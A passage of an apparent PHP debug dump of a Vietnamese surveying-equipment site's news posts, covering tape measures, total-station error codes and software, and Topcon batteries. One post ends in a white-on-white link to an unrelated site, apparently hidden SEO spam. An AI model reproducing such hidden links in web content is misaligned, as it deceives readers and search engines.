lâu.<br /> Thước dây Yamayo không đơn thuần là loại thước dây dùng trong đo đạc mà là loại thước với có nhiều đặc tính riêng biệt khác nhau. Trong môi trường luôn ẩm thấp, khắc nghiệt thì các loại thước thông thường sẽ nhanh chóng bị rỉ sét hoặc co dãn làm giảm độ chính xác mong muốn </span></span><span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px; white-space: pre-wrap;">nhưng thước dây sợi thủy tinh OTR Yamayo sẽ khắc phục mọi yếu tố bất lợi, giúp bạn đo đạc trong công trình xây dựng, đường ống nước, dây điện hay trong giao thông,... một cách dễ dàng và chính xác hơn.</span><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/Thuoc thep Yamayo.jpg" /><br /> <strong>Ưu điểm:</strong><br /> - Ít nhạy cảm, thân thiện với môi trường khi sử dụng.<br /> - Là loại thước sợi thuỷ tinh với lớp phủ PVC MILLION.<br /> - Lõi tổng hợp các sợi thủy tinh --> chống điện, chịu nhiệt cao, chống nước.<br /> <strong>ĐẶC ĐIỂM NỔI BẬT</strong><br /> · Là sản phẩm đến từ thương hiệu Yamayo của Nhật, được các nhà thầu tin dùng.<br /> · Thước làm từ sợi thủy tinh mang lại tính mềm dẻo, uyển chuyển, dễ dàng sử dụng.<br /> · Mặt thước được in ấn các chi tiết rõ ràng, giúp đọc số dễ dàng.<br /> · Sử dụng đo đạc với nhiều mục đích khác nhau với chiều dài dải đo lên đến 30m, 50m, 100m.<br /> · Thân thước gọn nhẹ dễ dàng mang theo bên mình.</span></span>', 'images' => '20170822082652b877c34c37d3ab54dcabe110b6a67214.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71691', 'slug' => 'thuoc-day-yamayo', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '857', 'rght' => '858', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '490', 'name' => 'Những lỗi thường gặp khi sử dụng máy toàn đạc điện tử', 'code' => null, 'alias' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px;">Máy toàn đạc điện tử là một thiết bị đo đạc yêu cầu độ chính xác tuyệt đối nhằm đảm bảo yếu tố kỹ thuật chính xác trong quá trình xây dựng công trình, cầu đường, vẽ bản đồ, thăm dò địa chất…Những lỗi thường gặp trong quá trình sử dụng máy toàn đạc điện tử bạn nên biết.</span>', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Những lỗi thường gặp khi sử dụng máy toàn đạc Topcon và Sokkia mà bạn cần biết!</strong></p> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <br /> <strong>* Máy toàn đạc Topcon:</strong><br /> <br /> - V Angle Error: Khi khởi động trên màn hình sẽ hiển thị “V Angle Error” hoặc số đọc góc đứng chỉ thay đổi trong một khoảng nào đó rồi đứng yên (bị treo) nhưng màn hình không hiển thị lỗi, tiếp tục quay ống kính thì góc thay đổi trở lại bình thường nhưng máy sẽ bị sai số MO rất lớn.<br /> - H Angle Error: Khi khởi động trên màn hình sẽ hiển thị “H <span class="text_exposed_show" style="display: inline; font-family: inherit;">Angle Error”, hoặc quay thân máy đến một vị trí nào đó thì số đọc góc ngang không thay đổi và máy bị treo.<br /> - Tilt Over: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng rồi nhưng lỗi này vẫn xuất hiện là do lỗi của hệ thống bù nghiêng điện tử.<br /> - E61, E68, E69: lỗi này xuất hiện khi có sự bất thường xảy ra ở hệ thống đo cạnh, phần lớn xảy ra ở mạch xử lý đo cạnh. Trong một số trường hợp máy không xuất hiện lỗi này nhưng máy đo cạnh cho kết quả sai số lớn so với thực tế (số ảo).<br /> - E99: xuất hiện khi khởi động máy do mạch chủ của thiết bị hoạt động không bình thường.<br /> - Memory Error: lỗi xảy ra ở bộ nhớ của thiết bị.<br /> Trong các trường hợp máy bị rơi máy sẽ thường báo lỗi “Tilt Over”. Lúc đó máy sẽ không bắt được mục tiêu, khoảng cách đo ngắn, tâm laser đo cạnh bị lệch…</span><br /> </p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <strong>* Máy toàn đạc điện tử Sokkia:</strong><br /> <br /> - Out of range: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng nhưng vẫn xuất hiện lỗi này thì bộ bù nghiêng điện tử của máy có sự bất thường.<br /> - Bad Condition, E003, E005: Lỗi này xảy ra ở hệ thống đo cạnh. Trong một số trường hợp, máy không báo một trong các lỗi này nhưng khoảng cách đo lại ngắn hơn 50m.<br /> - E190, E191: Lỗi xảy ra ở hệ thống góc đứng và ngang.</p> <p style="margin: 6px 0px; font-family: inherit;"> </p> <p style="margin: 6px 0px; font-family: inherit;"> Khi gặp những lỗi trên hãy liên lạc với chúng tôi theo số hotline: 0913051734 để được tư vấn kịp thời hoặc mang máy tới địa chỉ sau để khắc phục nhé!</p> <p style="margin: 6px 0px; font-family: inherit;"> CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT<br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none; font-family: inherit;" target="_blank">www.tracdiathanhdat.vn</a></p> </div> ', 'images' => '20170725082617856a8a63d5ddebf72614164f9ef7005f.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63798', 'slug' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '855', 'rght' => '856', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '489', 'name' => 'Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?', 'code' => null, 'alias' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?</strong><br /> <br /> Những lý do sau sẽ giúp bạn hiểu thêm về chúng tôi:<br /> <br /> - Cung cấp sản phẩm đa dạng, phong phú với những thương hiệu uy tín trên thị trường như Trimble, Leica, Topcon, Sokkia, Nikon, Yamayo, Kenwood, Garmin …<br /> <br /> - Có hỗ trợ phần mềm đi kèm, với nhân viên kỹ thuật có chuyên môn, tư vấn tận tình<br /> <br /> <br /> - Cập nhật những dòng máy mới, công nghệ mới nhằm tăng độ chính xác và hiệu quả hơn trong công tác đo <span class="text_exposed_show" style="display: inline; font-family: inherit;">đạc, giúp tiết kiệm nhân công và chi phí.<br /> <br /> - Thiết bị có đầy đủ linh kiện, phụ kiện theo kèm; có giấy kiểm nghiệm; phiếu bảo hành; ghi rõ nguồn gốc xuất xứ.<br /> <br /> - Có đội ngũ kỹ thuật chuyên môn cao về lĩnh vực trắc địa để tư vấn phù hợp và kịp thời xử lý vấn đề như thiết bị bị lỗi, kiểm định, bảo hành, bảo dưỡng,…<br /> <br /> - Có nhiều giải pháp phù hợp cho nhiều đối tượng, từ những công ty lớn với những dự án lớn, yêu cầu cao và phức tạp cho tới những đơn vị nhỏ, lẻ với những dự án vừa và nhỏ</span></p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <img alt="" src="/admin/webroot/upload/image/images/Sprinter_Measuring_500.jpg" style="width: 500px; height: 333px;" /><br /> <br /> <u>Liên hệ:</u><br /> <br /> <strong>CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT</strong><br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Hotline: 0913051734<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none;" target="_blank">www.tracdiathanhdat.vn</a><br /> </p> </div> ', 'images' => '201707240414024fbb6fccfcb40bf7edd645a69343b1cb.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '58560', 'slug' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '853', 'rght' => '854', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '488', 'name' => 'PHẦN MỀM ỨNG DỤNG MÁY TOÀN ĐẠC ĐIỆN TỬ BẠN NÊN BIẾT', 'code' => null, 'alias' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Máy toàn đạc điện tử cơ bản là máy kinh vĩ kết hợp khối đo xa điện tử và phần mềm tiện ích trong máy. Phần mềm tiện ích để giải quyết các bài toán trong trắc địa và tính ra các đại lượng cần thiết, quản lý dữ liệu, giao tiếp với máy tính...</strong></span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong máy toàn đạc điện tử thì các chương trình ứng dụng thường có trong 2 phần là Reference (Chương trình đo tham chiếu) và COGO (tính toán địa hình).<br /> <br /> - <strong> Chương trình đo tham chiếu (Reference):</strong><br /> + Reference Line (Tham chiếu đường thẳng):Chương trình đo tham chiếu đường thẳng là ứng dụng giúp xác định 1 hoặc nhiều đường thẳng tham chiếukhi biết 1 đường Base line và khoảng cách Offset giữa 2 đường.<br /> + Reference Arc (Tham chiếu đường cong):Ứng dụng tham chiếu đường cong cho phép người dùng có thể xác định 1 đường cong và hoàn thànhcác nhiệm vụ sau đây:<br /> * Line&Offset: Xác định khoảng cách và giá trị offset của 1 điểm với cung tròn<br /> * Stakeout (Point, Arc, Chord, Angle): Triển điểm thiết kế<br /> - <strong>Cogo:</strong><br /> + <strong>MLM</strong>: Tính khoảng cách giữa 2 gương<br /> + <strong>REM</strong>: Tính chiều cao không với tới<br /> + <strong>AREA: </strong>Tính diện tích.<br /> + <strong>Inverse</strong>: Tính góc phương vị và khoảng cách từ 2 điểm biết tọa độ.<br /> + <strong>Tranverse: </strong>Tính tọa độ khi biết tọa độ 1 điềm, góc phương vị, cạnh. Khi tính toán xong thì ta dùng <strong>Setout </strong>để bố trí ra ngoài thực địa.<br /> + <strong>Brg-Brg</strong>: Tính tọa độ điểm P3 là giao của P1P3 và P2P3 khi biết tọa độ P1, góc phương vị αP1P3, tọa độ P2, góc phương vị αP2P3.<br /> + <strong>Brg-Dst</strong>: Tính tọa độ điểm P3, P4 khi biết tọa độ P1, P2, góc phương vị αP1P2, khoảng cách bán kính tính từ P2.<br /> + <strong>Intersection 4 points</strong>:Tính tọa độ giao điểm P5 khi biết tọa độ P1, P2, P3, P4.<br /> + <strong>DistOf</strong>: Tính khoảng cách từ điểm P1 đến đường vuông góc P3˽P1P2 và khoảng cách đường vuông góc từ P3 đến P1P2.<br /> + <strong>Set point by Dist offset</strong>: Tính tọa độ điểm P3 khi biết tọa độ P1, P2, khoảng cách dường vuông góc từ P3 đến P1P2, khi tính xong ta dùng <strong>Setout</strong> để chuyển điểm ra thực địa).<br /> + <strong>Extension</strong>: Chức năng Extension được ứng dụng để xác định 1 điểm bất kỳ trên 1 đường thẳng khi biết trước 2điểm làm gốc, và khoảng cách cần từ điểm thứ nhất đến điểm cần xác định, hoặc từ điểm thứ 2 đếnđiểm cần xác định.<br /> <br /> Liên hệ hotline: 0913051734 để biết thêm thông tin chi tiết. </span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Goldlight</span></a>', 'images' => '2017061307412262e44187d92348c552952aa4bf152e90.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-06-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63648', 'slug' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '851', 'rght' => '852', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '487', 'name' => 'PIN MÁY TOÀN ĐẠC ĐIỆN TỬ TOPCON', 'code' => null, 'alias' => 'pin-may-toan-dac-dien-tu-topcon', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify;">Ngày nay khi công nghệ phát triển, các dụng cụ cầm tay, thiết bị di động ra đời ngày càng nhiều nên pin nạp trở thành tiện dụng hơn vì nhỏ gọn, thời gian sử dụng lâu hơn, có thể nạp lại khi hết pin,… Quan trọng hơn pin nạp là nguồn cung cấp năng lượng chủ yếu cho thiết bị di động và cầm tay, đồng thời góp phần không nhỏ trong quá trình phát triển của công nghệ và đời sống hiện nay.</span></span></span>', 'content' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: center;"> </p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp là gì?</strong></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin là một thiết bị lưu trữ năng lượng dưới dạng hoá năng khi ta sử dụng năng lượng này sẽ dần chuyển đổi thành điện năng. Khi hết điện pin được nạp lại cho đầy điện để ta sử dụng lại.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Các loại pin nạp</strong></span></span></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-Cd dùng cho các dòng máy toàn đạc SOKKIA (SET 4, SET 500)…</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Li-on dùng cho máy toàn đạc Leica TS 02, 06, 09.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-MH dùng cho máy toàn đạc Topcon dòng GTS.</span></span><br /> <br /> <strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp của máy toàn đạc điện tử Topcon<span style="margin: 0px; padding: 0px; color: rgb(255, 0, 0);"> </span></strong></span></span></p> </li> </ul> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin máy toàn đạc điện tử Topcon (BT-52QA) được cấu tạo từ 6 cell. Pin sử dụng công nghệ hàn nối tiếp với nhau tạo thành một khối thống nhất. Bên trong có cầu chì nhiệt (800C). Pin được trang bị chuôi nạp để nạp lại mỗi khi hết điện.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><img alt="http://i01.i.aliimg.com/photo/v0/1896865325/BC_27CR_charger_for_Topcon_BT_50QA.jpg_220x220.jpg" src="https://lh4.googleusercontent.com/ws-dsNetBtgmx62donNUdzN_RUgxoHvDy2wamlTBeSAR_DtILrjX8n6-n3rPwW4-NNhgPBShVWiVo_9vcmkz-UY3valCGdXl6QjQruQBgCulHUD6DWg8_mB9hsDv2tzIPgp6EHOHnOIjPax0gA" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 248px;" /><img alt="http://www.hailyco.com.vn/upload/product/197656674205.jpg" src="https://lh5.googleusercontent.com/pTX1LRsHz3NMgBp5VQKvJ83hq4wmiQpHxjGWsc5O3-p93M0BUgTjsUppgwtHRL9QuiP1uAreUwOZ1CQJy3J6UzXSRkYOrkuOkekL95lzSAVGlEUp5G_40V3n-ppy6gP3tNeSxXwqsutTUe--Pw" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 232px;" /></span></span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br style="margin: 0px; padding: 0px;" /> <br style="margin: 0px; padding: 0px;" /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Pin nạp toàn đạc Topcon BT-52 QA và sạc pin toàn đạc Topcon BC 27CR </span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Bảng thông số kĩ thuật</strong></span></span></span></span></p> <div dir="ltr" style="margin: 0px 0px 0px -5.75pt; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <table style="margin: 0px; padding: 0px; border-collapse: collapse; border-width: initial; border-style: none; border-color: initial;"> <tbody style="margin: 0px; padding: 0px;"> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Loại pin</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Ni-MH</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Điện thế</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">7.2 V</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Dung lượng</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2300 mA</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Bộ nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">BC-27M/27CR</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2.5h</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nhiệt độ hoạt động</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">10 – 400 C</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian đo chi tiết liên tục</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 